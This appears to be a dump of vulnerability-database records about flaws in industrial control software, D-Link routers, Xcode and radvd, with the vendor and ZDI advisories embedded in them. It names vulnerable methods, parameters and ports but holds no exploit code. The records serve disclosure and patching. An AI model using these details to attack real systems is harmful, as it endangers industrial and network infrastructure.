LCDS Laquis SCADA prior to version 4.1.0.4150 allows execution of script code by opening a specially crafted report format file. This may allow remote code execution, data exfiltration, or cause a system crash. Script embedded in a crafted file can create files in arbitrary locations using the Ini.WriteString method. This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of LAquis SCADA Software. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of the Memory.Integer method. The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the aq process. LAquis SCADA is a suite of SCADA software for monitoring and data acquisition |
|
var-201908-0863
|
Rockwell Automation Arena Simulation Software versions 16.00.00 and earlier contain a USE AFTER FREE CWE-416. A maliciously crafted Arena file opened by an unsuspecting user may result in the application crashing or the execution of arbitrary code. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of project files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. 9502-Ax) 16.00.00 and earlier versions have resource management error vulnerabilities. 9502-Ax) version 16.00.00 and earlier |
|
var-201912-0120
|
A memory corruption issue was addressed with improved validation. This issue is fixed in Xcode 11.2. Processing a maliciously crafted file may lead to arbitrary code execution. apple's Xcode Exists in an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Apple Xcode is an integrated development environment provided by Apple (Apple) to developers. It is mainly used to develop applications for Mac OS X and iOS. LLVM (Low Level Virtual Machine) is a framework system of a framework compiler (compiler) developed by the LLVM team. A security vulnerability exists in LLVM components in versions of Apple Xcode prior to 11.2. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-2019-11-01-1 Xcode 11.2
Xcode 11.2 addresses the following:
llvm
Available for: macOS Mojave 10.14.4 and later
Impact: Processing a maliciously crafted file may lead to arbitrary
code execution
Description: A memory corruption issue was addressed with improved
validation.
CVE-2019-8800: Pan ZhenPeng of Qihoo 360 Nirvan Team
CVE-2019-8806: Pan ZhenPeng of Qihoo 360 Nirvan Team
Installation note:
Xcode 11.2 may be obtained from:
https://developer.apple.com/xcode/downloads/
To check that the Xcode has been updated:
* Select Xcode in the menu bar
* Select About Xcode
* The version after applying this update will be "11.2".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEM5FaaFRjww9EJgvRBz4uGe3y0M0FAl27tlwACgkQBz4uGe3y
0M3xfA/6Ar1hsMVC9/i7vbHnKFv1nSo5k3dgl3t6UepPM2HW7YR9ngxKXW6r95DB
hH9TELVnvluC15EfXbsB+OhcgIxCc8EJYvAs4Y+n34VL/A03WyIDaYB7/TO8NLaL
Wh5O7/unhEijj+HhTiveS6x7Fimyw7WzVmLJvIoAN8EBXtvfWTA/VywAgHuX/aVB
2fdMOHDsVUI3a8SBzTSiHs6BM27TCoKx+FI3Ad+yABmxj+SykCfDcFOtxsyFhiBh
m6fIPweMxXtKc3tZPQYLtu05UPoBlOclNiAbBt5I7jdd9uNekjLQFaMf+D+gGGZI
BIILI1dCg+dQeDKPeMJsdSpcMqqyUvGfTzYW7JNQsGM1LFvS+8e7SLoCKJuIgosK
dMkuK/kg05vOGgq6qFyGn/vDDXqoVpbFq+HN6tNU5i0ni8Y5vuE8ecttUJA6XTiA
fF7U6AeSxQov5HS9RW8UzyCUktpPtiRuUYr3QWRpEoPsuWiPqvEprHe0FS+tJh3h
Zkz42DV8gD5gogakX1oJpX+CTZa725WusiuFs0bdCkougssrGYaRnMe+YL7/Z6ej
pAvNOGe4GesS0COGxkXgFK0w6VIC+SGVNdXkCudaYS+C4rklclVmXulKTavldUos
D7ebNEuHgE2/H66H0A1zZf4YDP4KqVb/j2T15wiA4uYiU67jN94=
=KAxM
-----END PGP SIGNATURE-----
|
|
var-201912-0114
|
A memory corruption issue was addressed with improved validation. This issue is fixed in Xcode 11.2. Processing a maliciously crafted file may lead to arbitrary code execution. apple's Xcode Exists in an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Apple Xcode is an integrated development environment provided by Apple (Apple) to developers. It is mainly used to develop applications for Mac OS X and iOS. A security vulnerability exists in LLVM components in versions of Apple Xcode prior to 11.2. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-2019-11-01-1 Xcode 11.2
Xcode 11.2 addresses the following:
llvm
Available for: macOS Mojave 10.14.4 and later
Impact: Processing a maliciously crafted file may lead to arbitrary
code execution
Description: A memory corruption issue was addressed with improved
validation.
CVE-2019-8800: Pan ZhenPeng of Qihoo 360 Nirvan Team
CVE-2019-8806: Pan ZhenPeng of Qihoo 360 Nirvan Team
Installation note:
Xcode 11.2 may be obtained from:
https://developer.apple.com/xcode/downloads/
To check that the Xcode has been updated:
* Select Xcode in the menu bar
* Select About Xcode
* The version after applying this update will be "11.2".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEM5FaaFRjww9EJgvRBz4uGe3y0M0FAl27tlwACgkQBz4uGe3y
0M3xfA/6Ar1hsMVC9/i7vbHnKFv1nSo5k3dgl3t6UepPM2HW7YR9ngxKXW6r95DB
hH9TELVnvluC15EfXbsB+OhcgIxCc8EJYvAs4Y+n34VL/A03WyIDaYB7/TO8NLaL
Wh5O7/unhEijj+HhTiveS6x7Fimyw7WzVmLJvIoAN8EBXtvfWTA/VywAgHuX/aVB
2fdMOHDsVUI3a8SBzTSiHs6BM27TCoKx+FI3Ad+yABmxj+SykCfDcFOtxsyFhiBh
m6fIPweMxXtKc3tZPQYLtu05UPoBlOclNiAbBt5I7jdd9uNekjLQFaMf+D+gGGZI
BIILI1dCg+dQeDKPeMJsdSpcMqqyUvGfTzYW7JNQsGM1LFvS+8e7SLoCKJuIgosK
dMkuK/kg05vOGgq6qFyGn/vDDXqoVpbFq+HN6tNU5i0ni8Y5vuE8ecttUJA6XTiA
fF7U6AeSxQov5HS9RW8UzyCUktpPtiRuUYr3QWRpEoPsuWiPqvEprHe0FS+tJh3h
Zkz42DV8gD5gogakX1oJpX+CTZa725WusiuFs0bdCkougssrGYaRnMe+YL7/Z6ej
pAvNOGe4GesS0COGxkXgFK0w6VIC+SGVNdXkCudaYS+C4rklclVmXulKTavldUos
D7ebNEuHgE2/H66H0A1zZf4YDP4KqVb/j2T15wiA4uYiU67jN94=
=KAxM
-----END PGP SIGNATURE-----
|
|
var-202305-1589
|
D-Link DIR-2150 SetSysEmailSettings EmailTo Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2150 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.
The specific flaw exists within the SOAP API interface, which listens on TCP port 80 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-20559. D-Link DIR-2150 is a wireless router from D-Link, a Chinese company |
|
var-202407-0235
|
Delta Electronics CNCSoft-G2 lacks proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. If a target visits a malicious page or opens a malicious file an attacker can leverage this vulnerability to execute code in the context of the current process. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics CNCSoft-G2. Delta Electronics CNCSoft-G2 is a human-machine interface (HMI) software from Delta Electronics, a Chinese company |
|
var-202407-0234
|
Delta Electronics CNCSoft-G2 lacks proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. If a target visits a malicious page or opens a malicious file an attacker can leverage this vulnerability to execute code in the context of the current process. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics CNCSoft-G2. Delta Electronics CNCSoft-G2 is a human-machine interface (HMI) software from Delta Electronics, a Chinese company |
|
var-202407-0233
|
Delta Electronics CNCSoft-G2 lacks proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. If a target visits a malicious page or opens a malicious file an attacker can leverage this vulnerability to execute code in the context of the current process. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics CNCSoft-G2. Delta Electronics CNCSoft-G2 is a human-machine interface (HMI) software from Delta Electronics, a Chinese company |
|
var-202407-0232
|
Delta Electronics CNCSoft-G2 lacks proper validation of user-supplied data, which can result in a memory corruption condition. If a target visits a malicious page or opens a malicious file an attacker can leverage this vulnerability to execute code in the context of the current process. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics CNCSoft-G2. Delta Electronics CNCSoft-G2 is a human-machine interface (HMI) software from Delta Electronics, a Chinese company |
|
var-201112-0097
|
Stack-based buffer overflow in the CmpWebServer component in 3S CoDeSys 3.4 SP4 Patch 2 and earlier, as used on the ABB AC500 PLC and possibly other products, allows remote attackers to execute arbitrary code via a long URI to TCP port 8080. CoDeSys is a powerful PLC software programming tool that supports IEC61131-3 standard IL, ST, FBD, LD, CFC, SFC six PLC programming languages. The GatewayService has an integer overflow. The GatewayService uses the 32-bit value offset at the header 0x0c to specify the size of the received data. The program receives this value, increasing the number of 0x34 and allocating the amount of memory can cause an integer overflow. CmpWebServer is a component of the 3SRTESrv3 and CoDeSysControlService services for handling 8080 port connections. The function 0040f480 copies the input URI to a limited stack buffer, which can trigger a buffer overflow. 3S CoDeSys handles the Content-Length value in an HTTP POST request to trigger a null pointer reference. CoDeSys is prone to a stack-based buffer-overflow and an integer-overflow vulnerability. Failed attacks may cause a denial-of-service condition |
|
var-201801-0152
|
An Untrusted Pointer Dereference issue was discovered in Advantech WebAccess versions prior to 8.3. There are multiple vulnerabilities that may allow an attacker to cause the program to use an invalid memory address, resulting in a program crash. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x27eb IOCTL in the webvrpcs process. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A denial of service vulnerability exists in versions prior to Advantech WebAccess 8.3 |
|
var-201801-0151
|
A Stack-based Buffer Overflow issue was discovered in Advantech WebAccess versions prior to 8.3. There are multiple instances of a vulnerability that allows too much data to be written to a location on the stack. Advantech WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the parsing of the command line in the bwprtscr utility. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment |
|
var-201807-0341
|
ABB Panel Builder 800 all versions has an improper input validation vulnerability which may allow an attacker to insert and run arbitrary code on a computer where the affected product is used. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of the IPAddress parameters of the ABB BEControlLogix OPC Driver. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code under the context of an administrator. ABB Panel Builder 800 is a web-based HMI (Human Machine Interface) system from ABB, Switzerland |
|
var-201806-1058
|
Crestron TSW-1060, TSW-760, TSW-560, TSW-1060-NC, TSW-760-NC, and TSW-560-NC devices before 2.001.0037.001 allow unauthenticated remote code execution via a Bash shell service in Crestron Toolbox Protocol (CTP). This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Crestron's Android-based products. Authentication is required to exploit this vulnerability.The specific flaw exists within the ADDUSER command of the CTP console. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker could leverage this vulnerability to execute code with root privileges. CrestronTSW-1060 and other are touch screen devices of Crestron Electronics of the United States. There are security vulnerabilities in several Crestron products |
|
var-201906-1029
|
In WebAccess/SCADA Versions 8.3.5 and prior, multiple untrusted pointer dereference vulnerabilities may allow a remote attacker to execute arbitrary code. WebAccess/SCADA Is NULL A vulnerability related to pointer dereference exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the 0x2776 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities:
1. A directory-traversal vulnerability
2. Multiple stack-based buffer-overflow vulnerabilities
3. Multiple heap-based buffer-overflow vulnerabilities
4. An information disclosure vulnerability
5. Multiple remote-code execution vulnerabilities
An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks.
Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable. This vulnerability stems from improper design or implementation problems in the code development process of network systems or products |
|
var-202004-0077
|
There are multiple ways an unauthenticated attacker could perform SQL injection on WebAccess/NMS (versions prior to 3.0.2) to gain access to sensitive information. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech WebAccess/NMS. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of calls to the handleTargetsByDeviceName method of the MibBrowser class. When parsing the deviceName parameter of the targets endpoint, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose file contents in the context of SYSTEM. Advantech WebAccess/NMS is a set of Web browser-based Network Management System (NMS) software package developed by China Taiwan Advantech Corporation. There is a SQL injection vulnerability in Advantech WebAccess/NMS versions earlier than 3.0.2 |
|
var-202206-2050
|
The affected product is vulnerable to multiple SQL injections, which may allow an unauthorized attacker to disclose information. Authentication is not required to exploit this vulnerability.The specific flaw exists within the NetworkServlet endpoint, which listens on TCP port 8080 by default. When parsing the PROP_GetCommunity and PROP_SetCommunity elements of the performSearchDevice action, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise |
|
var-202305-1981
|
D-Link DIR-2150 SetSysEmailSettings AccountName Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2150 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.
The specific flaw exists within the SOAP API interface, which listens on TCP port 80 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-20555. D-Link DIR-2150 is a wireless router from D-Link, a Chinese company |
|
var-202305-0214
|
D-Link DIR-2640 HNAP LoginPassword Authentication Bypass Vulnerability. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of D-Link DIR-2640 routers. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the web management interface, which listens on TCP port 80 by default. A specially crafted login request can cause authentication to succeed without providing proper credentials. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-19549. D-Link DIR-2640 is a high-power Wi-Fi router from China's D-Link |
|
var-202305-0130
|
D-Link DIR-2640 EmailFrom Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2640 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.
The specific flaw exists within the handling of the EmailFrom parameter provided to the HNAP1 endpoint. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-19550. D-Link DIR-2640 is a high-power Wi-Fi router from China's D-Link |
|
var-202407-0441
|
A vulnerability has been identified in SIMATIC PCS 7 V9.1 (All versions), SIMATIC WinCC Runtime Professional V18 (All versions), SIMATIC WinCC Runtime Professional V19 (All versions < V19 Update 2), SIMATIC WinCC V7.4 (All versions < V7.4 SP1 Update 23), SIMATIC WinCC V7.5 (All versions < V7.5 SP2 Update 17), SIMATIC WinCC V8.0 (All versions < V8.0 Update 5). The affected products do not properly handle certain requests to their web application, which may lead to the leak of privileged information.
This could allow an unauthenticated remote attacker to retrieve information such as users and passwords. Siemens SIMATIC PCS 7 is a process control system from Siemens, Germany. SIMATIC WinCC is an automated supervisory control and data acquisition (SCADA) system. SIMATIC WinCC Runtime Professional is a visual runtime platform for operators to control and monitor machines and equipment |
|
var-201105-0156
|
Multiple buffer overflows in the ISSymbol ActiveX control in ISSymbol.ocx 61.6.0.0 and 301.1009.2904.0 in the ISSymbol virtual machine, as distributed in Advantech Studio 6.1 SP6 61.6.01.05, InduSoft Web Studio before 7.0+SP1, and InduSoft Thin Client 7.0, allow remote attackers to execute arbitrary code via a long (1) InternationalOrder, (2) InternationalSeparator, or (3) LogFileName property value; or (4) a long bstrFileName argument to the OpenScreen method. Overly long to method bstrFileName argument. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Indusoft Thin Client. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within ISSymbol.ocx ActiveX component. When an overly large string is passed as the 'InternationalOrder' parameter, a heap overflow occurs. This vulnerability can be leveraged to execute code under the context of the user running the browser. InduSoft Web Studio is a powerful and complete graphics control software that includes the various functional modules required to develop Human Machine Interface (HMI), Management Control, Data Acquisition System (SCADA) and embedded control. The Advantech Studio ISSymbol ActiveX control handles boundary errors in the \"InternationalSeparator\" property. The Advantech Studio ISSymbol ActiveX control is prone to multiple buffer-overflow vulnerabilities because the application fails to perform adequate boundary checks on user-supplied input. Failed exploit attempts will likely result in denial-of-service conditions.
Advantech Studio 6.1 SP6 Build 61.6.01.05 is vulnerable; other versions may also be affected. There are multiple buffer overflow vulnerabilities in InduSoft ISSymbol ActiveX control 6.1 SP6 Build 61.6.01.05 (ISSymbol.ocx 61.6.0.0) and other versions. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
ZDI-12-168 : InduSoft Thin Client ISSymbol InternationalSeparator Remote
Code Execution Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-12-168
August 29, 2012
- -- CVE ID:
CVE-2011-0340
- -- CVSS:
7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P
- -- Affected Vendors:
Indusoft
- -- Affected Products:
Indusoft WebStudio
- -- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 12446.
- -- Vendor Response:
Indusoft has issued an update to correct this vulnerability. More details
can be found at:
http://www.indusoft.com/hotfixes/hotfixes.php
- -- Disclosure Timeline:
2011-12-19 - Vulnerability reported to vendor
2012-08-29 - Coordinated public release of advisory
- -- Credit:
This vulnerability was discovered by:
* Alexander Gavrun
- -- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
Follow the ZDI on Twitter:
http://twitter.com/thezdi
-----BEGIN PGP SIGNATURE-----
Version: PGP Desktop 10.2.0 (Build 1950)
Charset: utf-8
wsBVAwUBUD4cZ1VtgMGTo1scAQJoagf/ZpDTiahOQlERNABRglBe8krgQHhSHddX
qVTQjFEyoOL8df5cA/I3JLJxEYRzcT0k8FSdoHUAMDWA8Oxv1BB62r7fgHC1BFjp
jbH6u0mL+eYd95jqwfYaruakhABiCRR73nCxYvYGb1Bvx6piBDneD9E+Nx+qycF5
HKb5Fr0wwT+sWssIsnAHx5jDUamdRyQfOR1MAzb6GfKWDsRqwr/T5hWvRLqbZ3Cj
VXwmd+MIIAQZIMJ8swKgBvbSeV4tcePun1NhqJYAJtySYR6a6oF112Gk+kXlNXDi
EvynyGSXvzLMKEd+vmzSBbVeftCxNQJ8Ce4Vg+LYMGk0YHfoupt3gQ==
=Fw26
-----END PGP SIGNATURE-----
|
|
var-201402-0028
|
The process_rs function in the router advertisement daemon (radvd) before 1.8.2, when UnicastOnly is enabled, allows remote attackers to cause a denial of service (temporary service hang) via a large number of ND_ROUTER_SOLICIT requests. radvd is prone to the follow security vulnerabilities:
1. Multiple local privilege-escalation vulnerability.
2. A local arbitrary file-overwrite vulnerability.
3. Multiple remote denial-of-service vulnerabilities.
An attacker can exploit these issues to execute arbitrary code with administrative privileges, overwrite arbitrary files, and cause denial-of-service conditions. The software can replace IPv6 routing for stateless address auto-configuration. An input validation vulnerability exists in the 'process_rs' function in radvd 1.8.1 and earlier. ==========================================================================
Ubuntu Security Notice USN-1257-1
November 10, 2011
radvd vulnerabilities
==========================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 11.10
- Ubuntu 11.04
- Ubuntu 10.10
- Ubuntu 10.04 LTS
Summary:
radvd could be made to crash or overwrite certain files if it received
specially crafted network traffic.
Software Description:
- radvd: Router Advertisement Daemon
Details:
Vasiliy Kulikov discovered that radvd incorrectly parsed the
ND_OPT_DNSSL_INFORMATION option. The default compiler options for affected
releases should reduce the vulnerability to a denial of service. This issue
only affected Ubuntu 11.04 and 11.10. (CVE-2011-3601)
Vasiliy Kulikov discovered that radvd incorrectly filtered interface names
when creating certain files.
(CVE-2011-3602)
Vasiliy Kulikov discovered that radvd incorrectly handled certain lengths. (CVE-2011-3604)
Vasiliy Kulikov discovered that radvd incorrectly handled delays when used
in unicast mode, which is not the default in Ubuntu. (CVE-2011-3605)
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 11.10:
radvd 1:1.8-1ubuntu0.1
Ubuntu 11.04:
radvd 1:1.7-1ubuntu0.1
Ubuntu 10.10:
radvd 1:1.6-1ubuntu0.1
Ubuntu 10.04 LTS:
radvd 1:1.3-1.1ubuntu0.1
In general, a standard system update will make all the necessary changes.
References:
http://www.ubuntu.com/usn/usn-1257-1
CVE-2011-3601, CVE-2011-3602, CVE-2011-3604, CVE-2011-3605
Package Information:
https://launchpad.net/ubuntu/+source/radvd/1:1.8-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.7-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.6-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.3-1.1ubuntu0.1
. ----------------------------------------------------------------------
Secunia is hiring!
Find your next job here:
http://secunia.com/company/jobs/
----------------------------------------------------------------------
TITLE:
Gentoo update for radvd
SECUNIA ADVISORY ID:
SA46930
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/46930/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=46930
RELEASE DATE:
2011-11-21
DISCUSS ADVISORY:
http://secunia.com/advisories/46930/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/46930/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=46930
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Gentoo has issued an update for radvd.
For more information:
SA46200
SOLUTION:
Update to "net-misc/radvd-1.8.2" or later.
ORIGINAL ADVISORY:
GLSA 201111-08:
http://www.gentoo.org/security/en/glsa/glsa-201111-08.xml
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201111-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: radvd: Multiple vulnerabilities
Date: November 20, 2011
Bugs: #385967
ID: 201111-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in radvd which could
potentially lead to privilege escalation, data loss, or a Denial of
Service.
Background
==========
radvd is an IPv6 router advertisement daemon for Linux and BSD.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/radvd < 1.8.2 >= 1.8.2
Description
===========
Multiple vulnerabilities have been discovered in radvd. Please review
the CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All radvd users should upgrade to the latest stable version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/radvd-1.8.2"
References
==========
[ 1 ] CVE-2011-3601
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3601
[ 2 ] CVE-2011-3602
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3602
[ 3 ] CVE-2011-3603
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3603
[ 4 ] CVE-2011-3604
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3604
[ 5 ] CVE-2011-3605
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3605
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201111-08.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2011 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- -------------------------------------------------------------------------
Debian Security Advisory DSA-2323-1 security@debian.org
http://www.debian.org/security/ Yves-Alexis Perez
October 26, 2011 http://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : radvd
Vulnerability : several
Problem type : remote
Debian-specific: no
CVE ID : CVE-2011-3602 CVE-2011-3604 CVE-2011-3605
Debian Bug : 644614
Multiple security issues were discovered by Vasiliy Kulikov in radvd, an
IPv6 Router Advertisement daemon:
CVE-2011-3602
set_interface_var() function doesn't check the interface name, which is
chosen by an unprivileged user.
CVE-2011-3604
process_ra() function lacks multiple buffer length checks which could
lead to memory reads outside the stack, causing a crash of the daemon.
CVE-2011-3605
process_rs() function calls mdelay() (a function to wait for a defined
time) unconditionnally when running in unicast-only mode. As this call
is in the main thread, that means all request processing is delayed (for
a time up to MAX_RA_DELAY_TIME, 500 ms by default).
Note: upstream and Debian default is to use anycast mode.
For the oldstable distribution (lenny), this problem has been fixed in
version 1:1.1-3.1.
For the stable distribution (squeeze), this problem has been fixed in
version 1:1.6-1.1.
For the testing distribution (wheezy), this problem has been fixed in
version 1:1.8-1.2.
For the unstable distribution (sid), this problem has been fixed in
version 1:1.8-1.2.
We recommend that you upgrade your radvd packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
iEYEARECAAYFAk6q2QcACgkQXm3vHE4uylqlEQCgpdFwHzpKLF6KHlJs4y/ykeo/
oEYAniJXFaff25pMtXzM6Ovu8zslZm7H
=VfHu
-----END PGP SIGNATURE-----
|
|
var-201402-0027
|
The process_ra function in the router advertisement daemon (radvd) before 1.8.2 allows remote attackers to cause a denial of service (stack-based buffer over-read and crash) via unspecified vectors. radvd is prone to the follow security vulnerabilities:
